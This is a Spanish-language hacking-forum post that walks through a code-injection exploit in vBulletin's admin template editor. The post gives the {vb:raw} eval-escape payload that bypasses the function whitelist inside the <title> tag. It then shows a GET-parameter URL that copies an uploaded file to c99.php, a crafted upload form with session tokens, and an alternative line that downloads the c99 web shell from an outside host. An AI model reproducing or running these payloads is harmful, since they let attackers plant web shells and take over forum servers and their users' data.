Estaba viendo un demo oficial de vbulletín y quería ver si podía reproducir la misma vulnerabilidad de ipboard ya que son practicamente los mismos desarrolladores pero me encontré con algunos problemas.
( http://foro.elhacker.net/nivel_web/codigo_de_ejecucion_php_y_xss_en_ipboard_305-t285256.0.html )
Primero que nada acá no se pueden ejecutar funciones directamente como ipboard aunque la sintaxis es muy similar al editar un theme.
Lo que si pude lograr es inyectar código arbitrario en las las llamas {vb:raw}.
http://demo.vbulletin.com/admincp/template.php?s=&do=add&dostyleid=2&title=FORUMDISPLAY&group=forumdisplay
Para llamar a un título usas lo siguiente:
Código:
<title>{vb:raw foruminfo.title_clean}</title>
Por lo tanto me imaginé que debería llamar a alguna clase utilizando eval, o sea algo asi como
Código:
eval('$clase->'.$variable.'();');
Así que me puse a experimentar tratando de escapar con comillas y puntos y comas y a final que pude escapar del eval e inyectar código de la siguiente forma:
Código:
{vb:raw $voptions[eval(stripslashes(html_entity_decode($_GET[x])))]}
Lo que sucede es que si tratas de exponer directamente la función entonces vbulletin te va a decir que no es una variable válida asi que le damos en el gusto y lo encerramos en una variable válida.
Ahora si intentan poner esto en cualquier parte del theme no va a funcionar porque vbulletin utiliza un filtro y tiene una whitelist con las funciones que solamente pueden utilizarse, por lo tanto les va a rechazar la función eval().
Dentro del tag <title></title> es donde pueden ejecutarse las funciones de esta forma dentro de una variable válida y el filtro no va a saltar porque no lo procesará de forma correcta.
Con esto ya podemos hacer un
http://demo.vbulletin.com/index.php?x=if($_FILES){copy($_FILES['archivo']['tmp_name'],'c99.php');}exit;
y desde el firebug editamos el DOM del contenido HTML para escribir un form:
Código
<form method="post" enctype="multipart/form-data"> <input name="archivo" type="file"> <input value="Enviar" type="submit"> <input type="hidden" name="adminhash" value="baa10b27ca5198266ab2cf09f2b101e4" /> <input type="hidden" name="securitytoken" value="1266787977-14112f434378273e323fe65d5e7fc43535be4705" /> </form>
Ojo que vbulletín nos pedirá el token de nuestra sesión el cual lo puse en un input de tipo hidden y con eso ya subimos la c99 o si no la clásica con file_put_contents('c99.php', file_get_contents('http://r57.gen.tr/99.txt'));
Saludos.